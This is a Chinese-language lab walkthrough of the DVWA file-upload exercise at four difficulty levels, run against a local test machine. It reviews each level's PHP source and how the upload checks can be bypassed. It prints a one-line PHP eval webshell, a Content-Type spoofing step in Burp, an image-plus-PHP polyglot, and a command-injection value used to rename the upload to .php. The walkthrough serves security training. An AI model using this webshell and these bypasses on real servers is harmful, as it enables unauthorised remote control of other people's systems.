提示:只是为了方便理解,但不一定符合您的要求
文章目录
前言
靶机ip:192.168.229.145
DVWA版本:v1.10
mysql版本:5.7.26
php版本:5.4.45
在phpstudy上配置的环境,怎么配置我就不教了,可以直接在csdn上搜索
一、等级:low
在phpstudy的目录下,像我的靶机的C:\phpstudy_pro\WWW\DVWA\vulnerabilities\upload\source你可以看到你要打的靶机的php源码。如图所示:
所以我们先从源代码进行细致的分析,具体代码如下:
if( isset( $_POST[ 'Upload' ] ) ) { //检查表单是否有提交上传的请求
// Where are we going to be writing to? //保存文件的目标路径
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //获取上传文件的文件名
// Can we move the file to the upload folder? //将上传的文件移动到指定目录下,如果不行则给出提示信息
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
从上面的代码分析,使用isset()
函数判断表单是否有提交上传的请求,$target_path
变量确定了要将客户端上传的文件定位到DVWA_WEB_PAGE_TO_ROOT(Web根目录)和hackable/uploads/ (文件存放位置)。
move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path的作用是将从客户端上传的临时文件移动到服务器的指定目录中。
{$target_path}会通过$_FILES['uploaded']['tmp_name']的文件上传算出路径给你成功上传时返回出来,方便你学习。
如果上传失败返回Your image was not uploaded.成功返回{$target_path} succesfully uploaded!。分析完你会发现low等级没有对上传文件的类型,大小进行任何的安全验证。
以此我们可以随便实验,不管是什么,只要你通过浏览选中都可以上传,我甚至能选择一个视频:
我们开始上传一个一句话木马,使用一句话木马后门进行远程连接,我们使用的代码例子是
<?php @eval($_POST[1234]);?>
下面这部分会的可以先跳过。当然你也可以使用别的一句话木马,都是可以。
为了防止有人不明白,我们逐步分析每个函数:
"<?php":这是一个PHP脚本的开始标记
每个 PHP 代码文件必须以 <?php 标记开始,并以 ?>标记结束
"@eval":这是一个PHP函数,用于执行字符串中的任意PHP代码。
详细学习可以在PHP eval() 函数 | 菜鸟教程 (runoob.com)
"$_POST":这是一个PHP全局变量,包含了通过HTTP POST方法提交的所有变量和对应的值。
"[1234]":这是一个数组索引符号,用于获取名为"1234"的POST参数的值。当然这里面的值你可以改成你希望的
";":语句结束符号。
"?>":这是PHP脚本结束标记
我使用的文件名字是124.php
说完我们开始点击上传:
上传成功后我们获得了一个回应
../../hackable/uploads/124.php succesfully uploaded!
这就是我们直接在代码中看到的{$target_path} succesfully uploaded!,它自动帮我们找到了路径
这时候我们就该动用我们的其他工具进行连接,我使用的是cknife,当然你们也可以使用别的,比如哥斯拉,蚁剑,菜刀之类的工具,具体使用方法请自己查找,同样能实现效果
有人会好奇这个地址怎么来的,为什么这么填写,我们也一个一个说
我们当时上传文件时的url是http://192.168.229.145/vulnerabilities/upload/#
(这是我的靶机地址,别和shabi一样去试,然后觉得我给的有问题)
上面我们反馈的路径是../../hackable/uploads/124.php
"../"表示的是上一级目录,也就是当前路径的父目录
如果觉得抽象不好理解,我也举个具体例子,如图:
上面这个图是一个我c盘里的C:\Program Files\7-Zip目录,如果返回上一级目录,就会这样:
#
符号是 URI 分片标识符(URI Fragment Identifier),表示链接的目标定位到页面中的某一个具体位置(比如某一个标题或锚点位置)。简单点来说它负责显示给你的 ../../hackable/uploads/124.php在网页上的位置的,不用在意。
两次返回父目录,之前的目录就来到了http://192.168.229.145/,这个目录下的 /hackable/uploads/124.php,就是我们上传的文件被送到的位置。
回到正题
在后面的1234,则是所谓的连接密码
如果你使用的是蚁剑,那你的界面是这样的:
在上面都完成了,测试一下连接,你就会发现你已经成功连接进了对方的服务器,如图:
二、等级:medium
在等级low中我们已经细致的讲解了源代码,一句话木马,和工具的简单使用,所以在中等就不会重复一些一样的操作
我们们老样子,先看代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
重点是这一句
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) )
它用( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" )判断了文件是不是image/jpeg 或 image/png 类型,满足其中一个则ture,后半部分和前半部分使用"&&"(“与”)连接,后半部分判读的事文件大小,需要<100000 字节,反正100kb不到。
分析完了,开始做题。
(1)$uploaded_type上传过程的判断结果可以被篡改
(2)文件扩展名可以被篡改,使文件成功上传,绕过验证
(3)文件大小可以被伪造
判断结果上传过程我们可以使用burp(也就是薄荷)可以修改结果,以此绕过验证
在缓存时我们启动抓包,也就是这个界面,我们启动抓包程序:
抓包结果:
其中的这串 Content-Type: application/octet-stream,就是判断后要上传的判断结果,我们把它修改成image/jpeg 或 image/png:
然后放包,你就会获得和low一样的结果:
然后重复low的操作
三、等级:high
老样子看代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
简单分析核心代码:
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp )
(1)扩展名为jpg、jpeg或png
但没有对大小写进行区分
(2)大小不超过100kb($uploaded_size < 100000)
大小仍旧可以欺骗
(3)使用getimagesize()函数检测文件是否为真正的图像文件
什么是getimagesize()函数?
getimagesize()函数会读取指定图像文件的头部信息,包括图像的尺寸、类型和其他属性。
就意味着我们上传的文件需要有一张图片或使用特点的办法绕过getimagesize()函数的检测
不管怎么样,都需要文件能被认为是图片,且后缀名真确,就需要伪造的图片上传后更改其后缀名或者进入后仍旧能被连接。你可以照着别人给的其他方法来,但你需要知道你为什么这么做,这么做的目的是什么,怎么利用
我选择的路是伪造图片,然后改变其后缀名:
先找到一个可以正常上传的图片
然后把图片和php文件结合
之前看别人有使用 cmd命令
比如
copy xxx.jpg/b + xxx.php/a = xxx.jpg
但我使用的时候会产生损坏的图片,所以我使用笨办法,直接加图片后面:
这时候上传文件就会成功
上传成功了,但文件是 jpg类型,没办法直接使用,所以我们需要改变它的文件类型或者找到一条特殊的路径读取到其中的php命令
(1)改变文件类型的办法:
使用low等级的命令注入修改:
使用的代码,我的靶机到这一步使用时就刷新然后清空请求,不知道为什么
127.0.0.1 | mv ../../hackable/uploads/123fubeng.jpg ../../hackable/uploads/123fubeng.php
然后和按low的文件上传能正常使用了
(2)使用特殊路径连接则需要使用low等级的文件包含:
在文件包含漏洞中会发现url会显示路径,方便我们使用
我们把我们的相对路径放进去,发现能被正常读取到,我们通过这个路径我们上传的文件并执行恶意代码
我们把路径放到cknife里
发现并不能直接使用,为什么?(如果你使用的ip是127.0.0.1就不需要这一步)
因为获取到的资源就需要COOKIE,这和http的无状态登录有关,就是服务器都不会存储用户之前提供的身份验证信息。因此,通过菜刀访问时还需要身份的验证,而网站为了维护请求之间的上下文信息,使用 Cookie 技术来存储用户凭据。所以你需要cookie。
所以我们在页面上按F12,进入控制台,找到网络,拿到cookie
然后放到请求头并开启,就能正常连接了
四:等级:impossible
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
我们还是从源代码分析,它做了什么才导致难以实践文件上传:
(1)通过 checkToken() 方法验证了 Anti-CSRF token 的合法性,相当于也防范了CSRF攻击
(2)使用 md5(uniqid().$uploaded_name)生成一个唯一的文件名,不使用原始文件名作为目标文件名,然后用原始文件的扩展名再拼接成完成的文件名
(3)检查上传的文件是否为图片(jpg、jpeg、png)并且文件大小不超过 100000 字节,同时检测的文件类型为 image/jpeg 或 image/png,设置了 getimagesize() 方法能去读取图片来验证图片合法性。这就是high里做到事。
(4)如果满足上述三个条件后,则将上传的图片重新编码以去除任何元数据以防范未知漏洞,并对文件名进行 hash 加密处理。之后将图片移动到 web 根目录下的指定路径中。如果移动成功,输出上传成功的消息,否则输出上传失败的消息
这就是我能做到的分析了